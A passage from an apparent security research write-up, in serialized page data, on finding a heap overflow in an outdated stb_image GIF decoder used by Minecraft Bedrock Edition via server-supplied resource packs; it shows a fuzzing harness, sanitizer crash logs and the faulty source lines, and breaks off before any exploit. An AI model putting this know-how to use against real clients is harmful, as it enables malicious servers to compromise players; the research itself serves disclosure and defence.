overflow-to-rce",[147632],{"type":26,"value":147618},{"type":21,"tag":22,"props":147634,"children":147635},{},[147636],{"type":26,"value":147637},"In this post, we explore how we achieved remote code execution with a 4-byte heap overflow on a target with default modern protections - working around Windows' Control Flow Guard and ASLR on a remote client connecting to a malicious server, without any information leaks from the client.",{"type":21,"tag":22,"props":147639,"children":147640},{},[147641],{"type":26,"value":147642},"We present a powerful technique, specific to our target, which can be used to achieve RCE for bug types such as double frees, use-after-frees, and any heap overflow of at least 3 bytes.",{"type":21,"tag":54,"props":147644,"children":147646},{"id":147645},"the-target",[147647],{"type":26,"value":147648},"The Target",{"type":21,"tag":22,"props":147650,"children":147651},{},[147652],{"type":26,"value":147653},"Minecraft is one of the most popular games of all time, with millions of daily players and a large count of community servers actively played by thousands - this, and the lack of research in this area made it an intriguing target.",{"type":21,"tag":22,"props":147655,"children":147656},{},[147657,147659,147664,147666,147671],{"type":26,"value":147658},"There are two main editions: ",{"type":21,"tag":873,"props":147660,"children":147661},{},[147662],{"type":26,"value":147663},"Minecraft Java Edition",{"type":26,"value":147665},", written in Java and available on desktop platforms (Windows, macOS, Linux), and ",{"type":21,"tag":873,"props":147667,"children":147668},{},[147669],{"type":26,"value":147670},"Minecraft Bedrock Edition",{"type":26,"value":147672},", written largely in C++ and used on consoles like PlayStation and Xbox, mobile platforms, and also available on Windows.",{"type":21,"tag":22,"props":147674,"children":147675},{},[147676],{"type":26,"value":147677},"Given that we were interested in memory corruption bugs we chose the Bedrock Edition. Specifically, we decided to explore the Windows version as the debugging setup was the one we were most familiar with.",{"type":21,"tag":10022,"props":147679,"children":147681},{"id":147680},"choice-of-context",[147682],{"type":26,"value":147683},"Choice of Context",{"type":21,"tag":22,"props":147685,"children":147686},{},[147687],{"type":26,"value":147688},"We focused on a malicious-server -> connecting-client threat model because a server controls many inputs, giving a larger, easier-to-reach attack surface than client->client attacks.",{"type":21,"tag":22,"props":147690,"children":147691},{},[147692],{"type":26,"value":147693},"A server can control a large state which includes: the whole world and all entities within, each connected client state such as the position and view angles, and server-provided resource packs which connecting clients will download and parse.",{"type":21,"tag":10022,"props":147695,"children":147697},{"id":147696},"resource-packs",[147698],{"type":26,"value":147699},"Resource Packs",{"type":21,"tag":22,"props":147701,"children":147702},{},[147703],{"type":26,"value":147704},"Resource packs are a way to change the look of Minecraft. They specify custom textures and sounds of blocks and entities, while also controlling client-side entity animations.",{"type":21,"tag":22,"props":147706,"children":147707},{},[147708],{"type":26,"value":147709},"A server can provide a custom resource pack to the client upon connecting, which the client can optionally download and load. If the server set the resource pack to mandatory, clients that refuse the resource pack aren't allowed to connect.",{"type":21,"tag":22,"props":147711,"children":147712},{},[147713],{"type":26,"value":147714},"This widens the attack surface to include image and audio parsing - both historically common sources of memory-corruption bugs.",{"type":21,"tag":54,"props":147716,"children":147718},{"id":147717},"finding-a-memory-corruption-bug",[147719],{"type":26,"value":147720},"Finding a Memory Corruption Bug",{"type":21,"tag":22,"props":147722,"children":147723},{},[147724],{"type":26,"value":147725},"Given that Minecraft is a large, closed-source C++ codebase, we wanted to avoid unnecessary reverse engineering; therefore we first looked at the image-parsing code.",{"type":21,"tag":22,"props":147727,"children":147728},{},[147729],{"type":26,"value":147730},"Image parsing is interesting because programs rarely reimplement decoders, they typically use third-party libraries. We hoped Minecraft used an open-source library we could read, which is much easier than reversing a native decoder.",{"type":21,"tag":10022,"props":147732,"children":147734},{"id":147733},"locating-image-parsing-code",[147735],{"type":26,"value":147736},"Locating Image Parsing Code",{"type":21,"tag":22,"props":147738,"children":147739},{},[147740,147742,147748,147749,147755],{"type":26,"value":147741},"The simplest way to find code that handles image parsing is to search for expected strings such as ",{"type":21,"tag":66,"props":147743,"children":147745},{"className":147744},[],[147746],{"type":26,"value":147747},"PNG",{"type":26,"value":13551},{"type":21,"tag":66,"props":147750,"children":147752},{"className":147751},[],[147753],{"type":26,"value":147754},"GIF",{"type":26,"value":147756}," and look for error logging or other messages that use those substrings.",{"type":21,"tag":22,"props":147758,"children":147759},{},[147760,147762,147767],{"type":26,"value":147761},"Searching for the string ",{"type":21,"tag":66,"props":147763,"children":147765},{"className":147764},[],[147766],{"type":26,"value":147754},{"type":26,"value":147768}," returned some interesting results:",{"type":21,"tag":22,"props":147770,"children":147771},{},[147772],{"type":21,"tag":4681,"props":147773,"children":147775},{"alt":51034,"src":147774},"/posts/minecraft-heap-overflow-to-rce/image1.png",[],{"type":21,"tag":22,"props":147777,"children":147778},{},[147779,147781,147788,147790,147797],{"type":26,"value":147780},"Most - if not all - of these results look like they are used by an image parser. We searched online for the strings and found they match the exact strings used in ",{"type":21,"tag":335,"props":147782,"children":147785},{"href":147783,"rel":147784},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h",[339],[147786],{"type":26,"value":147787},"stb_image.h",{"type":26,"value":147789},". For an example: usage of ",{"type":21,"tag":335,"props":147791,"children":147794},{"href":147792,"rel":147793},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6855",[339],[147795],{"type":26,"value":147796},"bad Image Descriptor",{"type":26,"value":73},{"type":21,"tag":22,"props":147799,"children":147800},{},[147801,147803,147810],{"type":26,"value":147802},"To confirm that the library code was actually used to load images, we created a simple resource pack containing a single GIF image, set a breakpoint at ",{"type":21,"tag":335,"props":147804,"children":147807},{"href":147805,"rel":147806},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6778",[339],[147808],{"type":26,"value":147809},"stbi__gif_load_next",{"type":26,"value":147811},", and loaded the resource pack - this confirmed its usage:",{"type":21,"tag":22,"props":147813,"children":147814},{},[147815],{"type":21,"tag":4681,"props":147816,"children":147818},{"alt":51034,"src":147817},"/posts/minecraft-heap-overflow-to-rce/image2.png",[],{"type":21,"tag":10022,"props":147820,"children":147822},{"id":147821},"stb-image-library",[147823],{"type":26,"value":147824},"STB Image Library",{"type":21,"tag":22,"props":147826,"children":147827},{},[147828,147833],{"type":21,"tag":66,"props":147829,"children":147831},{"className":147830},[],[147832],{"type":26,"value":147787},{"type":26,"value":147834}," had a number of memory corruption bugs historically, but the known ones were fixed in later revisions. Finding a new 0-day in this library looked relatively hard because it’s widely used and has been well-scrutinized at that point.",{"type":21,"tag":22,"props":147836,"children":147837},{},[147838,147840,147845,147847,147854],{"type":26,"value":147839},"Instead, we checked whether the version used by Minecraft was outdated - if so, previously reported bugs might apply. We inspected ",{"type":21,"tag":66,"props":147841,"children":147843},{"className":147842},[],[147844],{"type":26,"value":147787},{"type":26,"value":147846}," commits and checked whether those changes were present in the Minecraft executable. Eventually, we found that Minecraft was using a fairly old revision - some commit prior to ",{"type":21,"tag":335,"props":147848,"children":147851},{"href":147849,"rel":147850},"https://github.com/nothings/stb/commit/f1f077b2722f55e158cba020f0312ee2d13c463a",[339],[147852],{"type":26,"value":147853},"f1f077b2722f55e158cba020f0312ee2d13c463a",{"type":26,"value":73},{"type":21,"tag":22,"props":147856,"children":147857},{},[147858],{"type":26,"value":147859},"At the time, the commit was already 6 years old, while there were public reports for memory corruption bugs after it. We looked through the reported bugs but didn't find an interesting and applicable one, so we decided to run a simple fuzzing harness on this commit.",{"type":21,"tag":19318,"props":147861,"children":147863},{"id":147862},"fuzzing",[147864],{"type":26,"value":147865},"Fuzzing",{"type":21,"tag":22,"props":147867,"children":147868},{},[147869,147871,147878],{"type":26,"value":147870},"The fuzzer consisted of a very simple ",{"type":21,"tag":335,"props":147872,"children":147875},{"href":147873,"rel":147874},"https://github.com/AFLplusplus/AFLplusplus",[339],[147876],{"type":26,"value":147877},"AFL++",{"type":26,"value":27182},{"type":21,"tag":75,"props":147880,"children":147882},{"code":147881,"language":3918,"meta":7,"className":16935,"style":7},"#define STB_IMAGE_IMPLEMENTATION\n#include \"./stb/stb_image.h\"\n\nint main(int argc, char **argv) {\n    int x, y, comp;\n    unsigned char *ret;\n\n    if (argc != 2) {\n        return 1;\n    }\n\n    ret = stbi_load(argv[1], &x, &y, &comp, 0);\n    if (ret == NULL) {\n        return 1;\n    }\n    \n    stbi_image_free(ret);\n\n    return 0;\n}\n",[147883],{"type":21,"tag":66,"props":147884,"children":147885},{"__ignoreMap":7},[147886,147899,147911,147918,147964,147976,147997,148004,148028,148043,148050,148057,148129,148153,148168,148175,148182,148195,148202,148217],{"type":21,"tag":85,"props":147887,"children":147888},{"class":87,"line":88},[147889,147894],{"type":21,"tag":85,"props":147890,"children":147891},{"style":2885},[147892],{"type":26,"value":147893},"#define",{"type":21,"tag":85,"props":147895,"children":147896},{"style":1021},[147897],{"type":26,"value":147898}," STB_IMAGE_IMPLEMENTATION\n",{"type":21,"tag":85,"props":147900,"children":147901},{"class":87,"line":98},[147902,147906],{"type":21,"tag":85,"props":147903,"children":147904},{"style":2885},[147905],{"type":26,"value":90877},{"type":21,"tag":85,"props":147907,"children":147908},{"style":5026},[147909],{"type":26,"value":147910}," \"./stb/stb_image.h\"\n",{"type":21,"tag":85,"props":147912,"children":147913},{"class":87,"line":151},[147914],{"type":21,"tag":85,"props":147915,"children":147916},{"emptyLinePlaceholder":16},[147917],{"type":26,"value":703},{"type":21,"tag":85,"props":147919,"children":147920},{"class":87,"line":160},[147921,147925,147929,147933,147937,147942,147946,147951,147955,147960],{"type":21,"tag":85,"props":147922,"children":147923},{"style":102},[147924],{"type":26,"value":19473},{"type":21,"tag":85,"props":147926,"children":147927},{"style":1021},[147928],{"type":26,"value":91242},{"type":21,"tag":85,"props":147930,"children":147931},{"style":114},[147932],{"type":26,"value":1439},{"type":21,"tag":85,"props":147934,"children":147935},{"style":102},[147936],{"type":26,"value":19473},{"type":21,"tag":85,"props":147938,"children":147939},{"style":120},[147940],{"type":26,"value":147941}," argc",{"type":21,"tag":85,"props":147943,"children":147944},{"style":114},[147945],{"type":26,"value":256},{"type":21,"tag":85,"props":147947,"children":147948},{"style":102},[147949],{"type":26,"value":147950},"char",{"type":21,"tag":85,"props":147952,"children":147953},{"style":169},[147954],{"type":26,"value":90343},{"type":21,"tag":85,"props":147956,"children":147957},{"style":120},[147958],{"type":26,"value":147959},"argv",{"type":21,"tag":85,"props":147961,"children":147962},{"style":114},[147963],{"type":26,"value":15222},{"type":21,"tag":85,"props":147965,"children":147966},{"class":87,"line":185},[147967,147971],{"type":21,"tag":85,"props":147968,"children":147969},{"style":102},[147970],{"type":26,"value":19503},{"type":21,"tag":85,"props":147972,"children":147973},{"style":114},[147974],{"type":26,"value":147975}," x, y, comp;\n",{"type":21,"tag":85,"props":147977,"children":147978},{"class":87,"line":501},[147979,147984,147988,147992],{"type":21,"tag":85,"props":147980,"children":147981},{"style":102},[147982],{"type":26,"value":147983},"    unsigned",{"type":21,"tag":85,"props":147985,"children":147986},{"style":102},[147987],{"type":26,"value":59506},{"type":21,"tag":85,"props":147989,"children":147990},{"style":169},[147991],{"type":26,"value":10231},{"type":21,"tag":85,"props":147993,"children":147994},{"style":114},[147995],{"type":26,"value":147996},"ret;\n",{"type":21,"tag":85,"props":147998,"children":147999},{"class":87,"line":697},[148000],{"type":21,"tag":85,"props":148001,"children":148002},{"emptyLinePlaceholder":16},[148003],{"type":26,"value":703},{"type":21,"tag":85,"props":148005,"children":148006},{"class":87,"line":706},[148007,148011,148016,148020,148024],{"type":21,"tag":85,"props":148008,"children":148009},{"style":2885},[148010],{"type":26,"value":12696},{"type":21,"tag":85,"props":148012,"children":148013},{"style":114},[148014],{"type":26,"value":148015}," (argc ",{"type":21,"tag":85,"props":148017,"children":148018},{"style":169},[148019],{"type":26,"value":16108},{"type":21,"tag":85,"props":148021,"children":148022},{"style":2285},[148023],{"type":26,"value":2288},{"type":21,"tag":85,"props":148025,"children":148026},{"style":114},[148027],{"type":26,"value":15222},{"type":21,"tag":85,"props":148029,"children":148030},{"class":87,"line":1100},[148031,148035,148039],{"type":21,"tag":85,"props":148032,"children":148033},{"style":2885},[148034],{"type":26,"value":16164},{"type":21,"tag":85,"props":148036,"children":148037},{"style":2285},[148038],{"type":26,"value":3279},{"type":21,"tag":85,"props":148040,"children":148041},{"style":114},[148042],{"type":26,"value":2535},{"type":21,"tag":85,"props":148044,"children":148045},{"class":87,"line":1339},[148046],{"type":21,"tag":85,"props":148047,"children":148048},{"style":114},[148049],{"type":26,"value":507},{"type":21,"tag":85,"props":148051,"children":148052},{"class":87,"line":1348},[148053],{"type":21,"tag":85,"props":148054,"children":148055},{"emptyLinePlaceholder":16},[148056],{"type":26,"value":703},{"type":21,"tag":85,"props":148058,"children":148059},{"class":87,"line":1386},[148060,148065,148069,148074,148078,148082,148086,148090,148094,148098,148103,148107,148112,148116,148121,148125],{"type":21,"tag":85,"props":148061,"children":148062},{"style":114},[148063],{"type":26,"value":148064},"    ret ",{"type":21,"tag":85,"props":148066,"children":148067},{"style":169},[148068],{"type":26,"value":741},{"type":21,"tag":85,"props":148070,"children":148071},{"style":1021},[148072],{"type":26,"value":148073}," stbi_load",{"type":21,"tag":85,"props":148075,"children":148076},{"style":114},[148077],{"type":26,"value":1439},{"type":21,"tag":85,"props":148079,"children":148080},{"style":120},[148081],{"type":26,"value":147959},{"type":21,"tag":85,"props":148083,"children":148084},{"style":114},[148085],{"type":26,"value":3016},{"type":21,"tag":85,"props":148087,"children":148088},{"style":2285},[148089],{"type":26,"value":4779},{"type":21,"tag":85,"props":148091,"children":148092},{"style":114},[148093],{"type":26,"value":23489},{"type":21,"tag":85,"props":148095,"children":148096},{"style":169},[148097],{"type":26,"value":2238},{"type":21,"tag":85,"props":148099,"children":148100},{"style":114},[148101],{"type":26,"value":148102},"x, ",{"type":21,"tag":85,"props":148104,"children":148105},{"style":169},[148106],{"type":26,"value":2238},{"type":21,"tag":85,"props":148108,"children":148109},{"style":114},[148110],{"type":26,"value":148111},"y, ",{"type":21,"tag":85,"props":148113,"children":148114},{"style":169},[148115],{"type":26,"value":2238},{"type":21,"tag":85,"props":148117,"children":148118},{"style":114},[148119],{"type":26,"value":148120},"comp, ",{"type":21,"tag":85,"props":148122,"children":148123},{"style":2285},[148124],{"type":26,"value":4789},{"type":21,"tag":85,"props":148126,"children":148127},{"style":114},[148128],{"type":26,"value":777},{"type":21,"tag":85,"props":148130,"children":148131},{"class":87,"line":1394},[148132,148136,148141,148145,148149],{"type":21,"tag":85,"props":148133,"children":148134},{"style":2885},[148135],{"type":26,"value":12696},{"type":21,"tag":85,"props":148137,"children":148138},{"style":114},[148139],{"type":26,"value":148140}," (ret ",{"type":21,"tag":85,"props":148142,"children":148143},{"style":169},[148144],{"type":26,"value":2936},{"type":21,"tag":85,"props":148146,"children":148147},{"style":102},[148148],{"type":26,"value":128232},{"type":21,"tag":85,"props":148150,"children":148151},{"style":114},[148152],{"type":26,"value":15222},{"type":21,"tag":85,"props":148154,"children":148155},{"class":87,"line":1402},[148156,148160,148164],{"type":21,"tag":85,"props":148157,"children":148158},{"style":2885},[148159],{"type":26,"value":16164},{"type":21,"tag":85,"props":148161,"children":148162},{"style":2285},[148163],{"type":26,"value":3279},{"type":21,"tag":85,"props":148165,"children":148166},{"style":114},[148167],{"type":26,"value":2535},{"type":21,"tag":85,"props":148169,"children":148170},{"class":87,"line":3145},[148171],{"type":21,"tag":85,"props":148172,"children":148173},{"style":114},[148174],{"type":26,"value":507},{"type":21,"tag":85,"props":148176,"children":148177},{"class":87,"line":3246},[148178],{"type":21,"tag":85,"props":148179,"children":148180},{"style":114},[148181],{"type":26,"value":62244},{"type":21,"tag":85,"props":148183,"children":148184},{"class":87,"line":3255},[148185,148190],{"type":21,"tag":85,"props":148186,"children":148187},{"style":1021},[148188],{"type":26,"value":148189},"    stbi_image_free",{"type":21,"tag":85,"props":148191,"children":148192},{"style":114},[148193],{"type":26,"value":148194},"(ret);\n",{"type":21,"tag":85,"props":148196,"children":148197},{"class":87,"line":3286},[148198],{"type":21,"tag":85,"props":148199,"children":148200},{"emptyLinePlaceholder":16},[148201],{"type":26,"value":703},{"type":21,"tag":85,"props":148203,"children":148204},{"class":87,"line":3295},[148205,148209,148213],{"type":21,"tag":85,"props":148206,"children":148207},{"style":2885},[148208],{"type":26,"value":17411},{"type":21,"tag":85,"props":148210,"children":148211},{"style":2285},[148212],{"type":26,"value":2830},{"type":21,"tag":85,"props":148214,"children":148215},{"style":114},[148216],{"type":26,"value":2535},{"type":21,"tag":85,"props":148218,"children":148219},{"class":87,"line":3308},[148220],{"type":21,"tag":85,"props":148221,"children":148222},{"style":114},[148223],{"type":26,"value":2671},{"type":21,"tag":22,"props":148225,"children":148226},{},[148227],{"type":26,"value":148228},"And soon after starting the fuzzer it found an interesting bug:",{"type":21,"tag":75,"props":148230,"children":148232},{"code":148231},"=================================================================\n==1087247==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x52d000008800 thread T0\n    #0 0x655424309a49 in stbi__out_gif_code stb/stb_image.h:6233\n    #1 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n    #2 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n    [...]\n    #19 0x65542430a697 in stbi__process_gif_raster stb/stb_image.h:6326\n    #20 0x65542430b936 in stbi__gif_load_next stb/stb_image.h:6443\n    #21 0x65542430c90e in stbi__gif_load stb/stb_image.h:6573\n    #22 0x6554242fc0d4 in stbi__load_main stb/stb_image.h:989\n    #23 0x6554242fc927 in stbi__load_and_postprocess_8bit stb/stb_image.h:1088\n    #24 0x6554242fd34f in stbi_load_from_file stb/stb_image.h:1174\n    #25 0x6554242fd22c in stbi_load stb/stb_image.h:1164\n    [...]\n",[148233],{"type":21,"tag":66,"props":148234,"children":148235},{"__ignoreMap":7},[148236],{"type":26,"value":148231},{"type":21,"tag":19318,"props":148238,"children":148240},{"id":148239},"investigating-the-finding",[148241],{"type":26,"value":148242},"Investigating the Finding",{"type":21,"tag":22,"props":148244,"children":148245},{},[148246,148248,148254,148255,148260],{"type":26,"value":148247},"The ASAN output shows that at line ",{"type":21,"tag":66,"props":148249,"children":148251},{"className":148250},[],[148252],{"type":26,"value":148253},"6233",{"type":26,"value":143754},{"type":21,"tag":66,"props":148256,"children":148258},{"className":148257},[],[148259],{"type":26,"value":147787},{"type":26,"value":148261}," an attempt was made to write a single byte out-of-bounds. Looking at the nearby source:",{"type":21,"tag":75,"props":148263,"children":148265},{"code":148264,"language":3918,"meta":7,"className":16935,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n   stbi_uc *p, *c;\n   int idx; \n\n   [...]\n\n   if (g->cur_y >= g->max_y) return;\n\n   idx = g->cur_x + g->cur_y; \n   p = &g->out[idx];\n   g->history[idx / 4] = 1;          // OOB write\n",[148266],{"type":21,"tag":66,"props":148267,"children":148268},{"__ignoreMap":7},[148269,148311,148318,148344,148357,148364,148372,148379,148433,148440,148486,148519],{"type":21,"tag":85,"props":148270,"children":148271},{"class":87,"line":88},[148272,148276,148280,148285,148290,148294,148298,148303,148307],{"type":21,"tag":85,"props":148273,"children":148274},{"style":102},[148275],{"type":26,"value":51500},{"type":21,"tag":85,"props":148277,"children":148278},{"style":102},[148279],{"type":26,"value":51505},{"type":21,"tag":85,"props":148281,"children":148282},{"style":1021},[148283],{"type":26,"value":148284}," stbi__out_gif_code",{"type":21,"tag":85,"props":148286,"children":148287},{"style":114},[148288],{"type":26,"value":148289},"(stbi__gif ",{"type":21,"tag":85,"props":148291,"children":148292},{"style":169},[148293],{"type":26,"value":3052},{"type":21,"tag":85,"props":148295,"children":148296},{"style":120},[148297],{"type":26,"value":109760},{"type":21,"tag":85,"props":148299,"children":148300},{"style":114},[148301],{"type":26,"value":148302},", stbi__uint16 ",{"type":21,"tag":85,"props":148304,"children":148305},{"style":120},[148306],{"type":26,"value":66},{"type":21,"tag":85,"props":148308,"children":148309},{"style":114},[148310],{"type":26,"value":2485},{"type":21,"tag":85,"props":148312,"children":148313},{"class":87,"line":98},[148314],{"type":21,"tag":85,"props":148315,"children":148316},{"style":114},[148317],{"type":26,"value":11296},{"type":21,"tag":85,"props":148319,"children":148320},{"class":87,"line":151},[148321,148326,148330,148335,148339],{"type":21,"tag":85,"props":148322,"children":148323},{"style":114},[148324],{"type":26,"value":148325},"   stbi_uc ",{"type":21,"tag":85,"props":148327,"children":148328},{"style":169},[148329],{"type":26,"value":3052},{"type":21,"tag":85,"props":148331,"children":148332},{"style":114},[148333],{"type":26,"value":148334},"p, ",{"type":21,"tag":85,"props":148336,"children":148337},{"style":169},[148338],{"type":26,"value":3052},{"type":21,"tag":85,"props":148340,"children":148341},{"style":114},[148342],{"type":26,"value":148343},"c;\n",{"type":21,"tag":85,"props":148345,"children":148346},{"class":87,"line":160},[148347,148352],{"type":21,"tag":85,"props":148348,"children":148349},{"style":102},[148350],{"type":26,"value":148351},"   int",{"type":21,"tag":85,"props":148353,"children":148354},{"style":114},[148355],{"type":26,"value":148356}," idx; \n",{"type":21,"tag":85,"props":148358,"children":148359},{"class":87,"line":185},[148360],{"type":21,"tag":85,"props":148361,"children":148362},{"emptyLinePlaceholder":16},[148363],{"type":26,"value":703},{"type":21,"tag":85,"props":148365,"children":148366},{"class":87,"line":501},[148367],{"type":21,"tag":85,"props":148368,"children":148369},{"style":114},[148370],{"type":26,"value":148371},"   [...]\n",{"type":21,"tag":85,"props":148373,"children":148374},{"class":87,"line":697},[148375],{"type":21,"tag":85,"props":148376,"children":148377},{"emptyLinePlaceholder":16},[148378],{"type":26,"value":703},{"type":21,"tag":85,"props":148380,"children":148381},{"class":87,"line":706},[148382,148386,148390,148394,148398,148403,148407,148412,148416,148421,148425,148429],{"type":21,"tag":85,"props":148383,"children":148384},{"style":2885},[148385],{"type":26,"value":53100},{"type":21,"tag":85,"props":148387,"children":148388},{"style":114},[148389],{"type":26,"value":717},{"type":21,"tag":85,"props":148391,"children":148392},{"style":120},[148393],{"type":26,"value":109760},{"type":21,"tag":85,"props":148395,"children":148396},{"style":114},[148397],{"type":26,"value":14175},{"type":21,"tag":85,"props":148399,"children":148400},{"style":120},[148401],{"type":26,"value":148402},"cur_y",{"type":21,"tag":85,"props":148404,"children":148405},{"style":169},[148406],{"type":26,"value":2658},{"type":21,"tag":85,"props":148408,"children":148409},{"style":120},[148410],{"type":26,"value":148411}," g",{"type":21,"tag":85,"props":148413,"children":148414},{"style":114},[148415],{"type":26,"value":14175},{"type":21,"tag":85,"props":148417,"children":148418},{"style":120},[148419],{"type":26,"value":148420},"max_y",{"type":21,"tag":85,"props":148422,"children":148423},{"style":114},[148424],{"type":26,"value":736},{"type":21,"tag":85,"props":148426,"children":148427},{"style":2885},[148428],{"type":26,"value":48912},{"type":21,"tag":85,"props":148430,"children":148431},{"style":114},[148432],{"type":26,"value":2535},{"type":21,"tag":85,"props":148434,"children":148435},{"class":87,"line":1100},[148436],{"type":21,"tag":85,"props":148437,"children":148438},{"emptyLinePlaceholder":16},[148439],{"type":26,"value":703},{"type":21,"tag":85,"props":148441,"children":148442},{"class":87,"line":1339},[148443,148448,148452,148456,148460,148465,148469,148473,148477,148481],{"type":21,"tag":85,"props":148444,"children":148445},{"style":114},[148446],{"type":26,"value":148447},"   idx ",{"type":21,"tag":85,"props":148449,"children":148450},{"style":169},[148451],{"type":26,"value":741},{"type":21,"tag":85,"props":148453,"children":148454},{"style":120},[148455],{"type":26,"value":148411},{"type":21,"tag":85,"props":148457,"children":148458},{"style":114},[148459],{"type":26,"value":14175},{"type":21,"tag":85,"props":148461,"children":148462},{"style":120},[148463],{"type":26,"value":148464},"cur_x",{"type":21,"tag":85,"props":148466,"children":148467},{"style":169},[148468],{"type":26,"value":3274},{"type":21,"tag":85,"props":148470,"children":148471},{"style":120},[148472],{"type":26,"value":148411},{"type":21,"tag":85,"props":148474,"children":148475},{"style":114},[148476],{"type":26,"value":14175},{"type":21,"tag":85,"props":148478,"children":148479},{"style":120},[148480],{"type":26,"value":148402},{"type":21,"tag":85,"props":148482,"children":148483},{"style":114},[148484],{"type":26,"value":148485},"; \n",{"type":21,"tag":85,"props":148487,"children":148488},{"class":87,"line":1348},[148489,148494,148498,148502,148506,148510,148514],{"type":21,"tag":85,"props":148490,"children":148491},{"style":114},[148492],{"type":26,"value":148493},"   p ",{"type":21,"tag":85,"props":148495,"children":148496},{"style":169},[148497],{"type":26,"value":741},{"type":21,"tag":85,"props":148499,"children":148500},{"style":169},[148501],{"type":26,"value":1487},{"type":21,"tag":85,"props":148503,"children":148504},{"style":120},[148505],{"type":26,"value":109760},{"type":21,"tag":85,"props":148507,"children":148508},{"style":114},[148509],{"type":26,"value":14175},{"type":21,"tag":85,"props":148511,"children":148512},{"style":120},[148513],{"type":26,"value":119183},{"type":21,"tag":85,"props":148515,"children":148516},{"style":114},[148517],{"type":26,"value":148518},"[idx];\n",{"type":21,"tag":85,"props":148520,"children":148521},{"class":87,"line":1386},[148522,148527,148531,148536,148541,148545,148549,148553,148557,148561,148565],{"type":21,"tag":85,"props":148523,"children":148524},{"style":120},[148525],{"type":26,"value":148526},"   g",{"type":21,"tag":85,"props":148528,"children":148529},{"style":114},[148530],{"type":26,"value":14175},{"type":21,"tag":85,"props":148532,"children":148533},{"style":120},[148534],{"type":26,"value":148535},"history",{"type":21,"tag":85,"props":148537,"children":148538},{"style":114},[148539],{"type":26,"value":148540},"[idx ",{"type":21,"tag":85,"props":148542,"children":148543},{"style":169},[148544],{"type":26,"value":5349},{"type":21,"tag":85,"props":148546,"children":148547},{"style":2285},[148548],{"type":26,"value":12162},{"type":21,"tag":85,"props":148550,"children":148551},{"style":114},[148552],{"type":26,"value":3026},{"type":21,"tag":85,"props":148554,"children":148555},{"style":169},[148556],{"type":26,"value":741},{"type":21,"tag":85,"props":148558,"children":148559},{"style":2285},[148560],{"type":26,"value":3279},{"type":21,"tag":85,"props":148562,"children":148563},{"style":114},[148564],{"type":26,"value":49529},{"type":21,"tag":85,"props":148566,"children":148567},{"style":92},[148568],{"type":26,"value":148569},"          // OOB write\n",{"type":21,"tag":22,"props":148571,"children":148572},{},[148573,148575,148580,148582,148588,148590,148596],{"type":26,"value":148574},"It’s reasonable to assume ",{"type":21,"tag":66,"props":148576,"children":148578},{"className":148577},[],[148579],{"type":26,"value":76979},{"type":26,"value":148581}," is outside the bounds of ",{"type":21,"tag":66,"props":148583,"children":148585},{"className":148584},[],[148586],{"type":26,"value":148587},"g->history",{"type":26,"value":148589},", which leads to a one-byte OOB write (",{"type":21,"tag":66,"props":148591,"children":148593},{"className":148592},[],[148594],{"type":26,"value":148595},"g->history[idx / 4] = 1",{"type":26,"value":148597},"). That single-byte OOB is hard to exploit remotely, but it was the only corruption observed initially, so we investigated further.",{"type":21,"tag":22,"props":148599,"children":148600},{},[148601,148603,148608,148610,148616,148618,148623,148625,148631,148633,148639],{"type":26,"value":148602},"Because ",{"type":21,"tag":66,"props":148604,"children":148606},{"className":148605},[],[148607],{"type":26,"value":22},{"type":26,"value":148609}," is computed from ",{"type":21,"tag":66,"props":148611,"children":148613},{"className":148612},[],[148614],{"type":26,"value":148615},"g->out[idx]",{"type":26,"value":148617}," immediately before the violation, we considered whether ",{"type":21,"tag":66,"props":148619,"children":148621},{"className":148620},[],[148622],{"type":26,"value":76979},{"type":26,"value":148624}," could also be OOB for ",{"type":21,"tag":66,"props":148626,"children":148628},{"className":148627},[],[148629],{"type":26,"value":148630},"g->out",{"type":26,"value":148632},". Note that computing the address ",{"type":21,"tag":66,"props":148634,"children":148636},{"className":148635},[],[148637],{"type":26,"value":148638},"&g->out[idx]",{"type":26,"value":148640}," does not itself access the memory, so ASAN wouldn’t flag it.",{"type":21,"tag":22,"props":148642,"children":148643},{},[148644,148646,148651],{"type":26,"value":148645},"If we comment out ",{"type":21,"tag":66,"props":148647,"children":148649},{"className":148648},[],[148650],{"type":26,"value":148595},{"type":26,"value":148652}," and re-run the fuzzing input, ASAN reports another violation in the same function at a different line:",{"type":21,"tag":75,"props":148654,"children":148656},{"code":148655},"=================================================================\n==8578==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x7f0fe6e6c800 thread T0\n    #0 0x5d54e32a4315 in stbi__out_gif_code stb/stb_image.h:6237\n    [...]\n",[148657],{"type":21,"tag":66,"props":148658,"children":148659},{"__ignoreMap":7},[148660],{"type":26,"value":148655},{"type":21,"tag":22,"props":148662,"children":148663},{},[148664],{"type":26,"value":148665},"This corresponds to:",{"type":21,"tag":75,"props":148667,"children":148669},{"code":148668,"language":3918,"meta":7,"className":16935,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n   [...]\n\n   idx = g->cur_x + g->cur_y; \n   p = &g->out[idx];\n   g->history[idx / 4] = 1;  \n\n   c = &g->color_table[g->codes[code].suffix * 4];\n   if (c[3] > 128) {\n      p[0] = c[2];        // OOB write\n      p[1] = c[1];\n      p[2] = c[0];\n      p[3] = c[3];\n   